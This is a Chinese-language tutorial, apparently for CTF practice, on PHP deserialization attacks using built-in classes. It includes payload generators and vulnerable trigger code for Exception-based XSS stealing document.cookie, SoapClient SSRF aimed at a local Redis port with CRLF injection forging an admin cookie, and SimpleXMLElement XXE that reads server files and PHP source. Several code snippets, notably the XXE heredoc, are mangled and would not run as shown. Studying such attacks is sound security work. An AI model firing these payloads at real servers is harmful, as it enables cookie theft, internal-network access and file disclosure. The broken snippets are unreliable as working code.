一、前置知识:PHP反序列化核心
1.1 序列化与反序列化
serialize():将对象转化为可存储、传输的字符串
unserialize():将字符串还原为对象
漏洞核心:用户可控参数直接进入 unserialize(),且代码存在可触发的魔法方法
1.2 常用魔法方法
__wakeup():反序列化完成瞬间触发
__destruct():对象销毁、脚本结束触发
__toString():对象被当作字符串使用时触发(echo/print/拼接)
__call():调用对象不存在的方法时触发
二、Exception 类利用(XSS + 路径泄露)
2.1 基本信息
无需扩展,PHP默认内置
利用入口:__toString()
触发条件:反序列化后的对象被 echo/print 输出
2.2 漏洞原理
Exception 对象在被字符串化时,会自动调用 __toString() 输出异常信息,异常信息完全可控,可插入 JS 代码实现 XSS,同时自带服务器路径报错信息。
2.3 生成Payload
php $exp = new Exception(' <> alert(document.cookie) '); echo serialize($exp); ?> |
2.4 触发场景
php $obj = unserialize($_GET['p']); echo $obj; // 触发 __toString() => XSS 执行 ?> |
2.5 拓展:绝对路径泄露
Exception 报错信息会携带服务器物理路径,在CTF中常用于获取网站根目录、配置文件路径。
三、SoapClient 类利用(SSRF + CRLF注入)
3.1 环境要求
需开启 soap 扩展(php.ini:extension=soap)
利用入口:__call()
触发条件:反序列化后调用对象中不存在的方法
3.2 利用原理
SoapClient 内置 __call 方法,当调用不存在方法时,会自动向 location 参数地址发起 HTTP 请求,从而造成 SSRF。同时 user_agent 支持 \r\n 换行,可实现 CRLF 头注入。
3.3 参数详解
php new SoapClient(虚假wsdl, [ 'uri' => '任意字符串', 'location' => 'SSRF攻击目标地址', 'user_agent' => '自定义UA,支持CRLF换行' ]); |
3.4 基础SSRF POC
php $obj = new SoapClient('http://fake.com',[ 'uri' => 'test', 'location' => 'http://127.0.0.1:6379' ]); echo serialize($obj); ?> |
3.5 CRLF 注入拓展
php $obj = new SoapClient('http://fake.com',[ 'uri' => 'test', 'location' => 'http://127.0.0.1', 'user_agent' => "test\r\nX-Forwarded-For: 127.0.0.1\r\nCookie: admin=1" ]); echo serialize($obj); ?> |
3.6 触发代码
php $a = unserialize($_GET['p']); $a->abcdef(); // 调用不存在方法 => 触发__call => SSRF请求 ?> |
四、SimpleXMLElement 类利用(XXE文件读取)
4.1 基本信息
默认开启XML扩展
核心参数:LIBXML_NOENT(开启外部实体解析)
利用漏洞:XXE 外部实体注入
作用:读取本地文件、读取PHP源码、内网探测
4.2 利用原理
当 SimpleXMLElement 传入 LIBXML_NOENT 参数时,会解析XML外部实体,可通过 file://、php://filter 协议读取服务器敏感文件。
4.3 XXE序列化POC
php $xml = << <EOF ]> &file;EOF; $obj = new SimpleXMLElement($xml, LIBXML_NOENT); echo serialize($obj); ?> </EOF |
4.4 触发条件
php $a = unserialize($_GET['p']); echo $a; // 输出对象触发XML解析,加载外部实体 => XXE ?> |
4.5 常用协议
file://:读取本地文件
php://filter/read=convert.base64-encode/resource=:读取PHP源码(绕过源码泄露)
http://:内网端口探测
五、三类原生类利用总结
内置类 | 触发方法 | 利用漏洞 | 触发条件 |
Exception | __toString() | XSS、路径泄露 | 对象被echo/打印输出 |
SoapClient | __call() | SSRF、CRLF注入 | 调用不存在的对象方法 |
SimpleXMLElement | XML解析 | XXE文件读取 | 开启LIBXML_NOENT、输出对象 |
六、一站式测试代码
php // 1. Exception XSS Payload echo "【Exception】\n"; $e = new Exception(" <> alert(1) "); echo serialize($e)."\n\n"; // 2. SoapClient SSRF Payload echo "【SoapClient】\n"; if (class_exists('SoapClient')) { $soap = new SoapClient('a',[ 'uri'=>'test', 'location'=>'http://127.0.0.1:80' ]); echo serialize($soap)."\n\n"; } // 3. SimpleXMLElement XXE Payload echo "【SimpleXMLElement】\n"; $xml = ']>&f;'; $sxe = new SimpleXMLElement($xml, LIBXML_NOENT); echo serialize($sxe); ?> |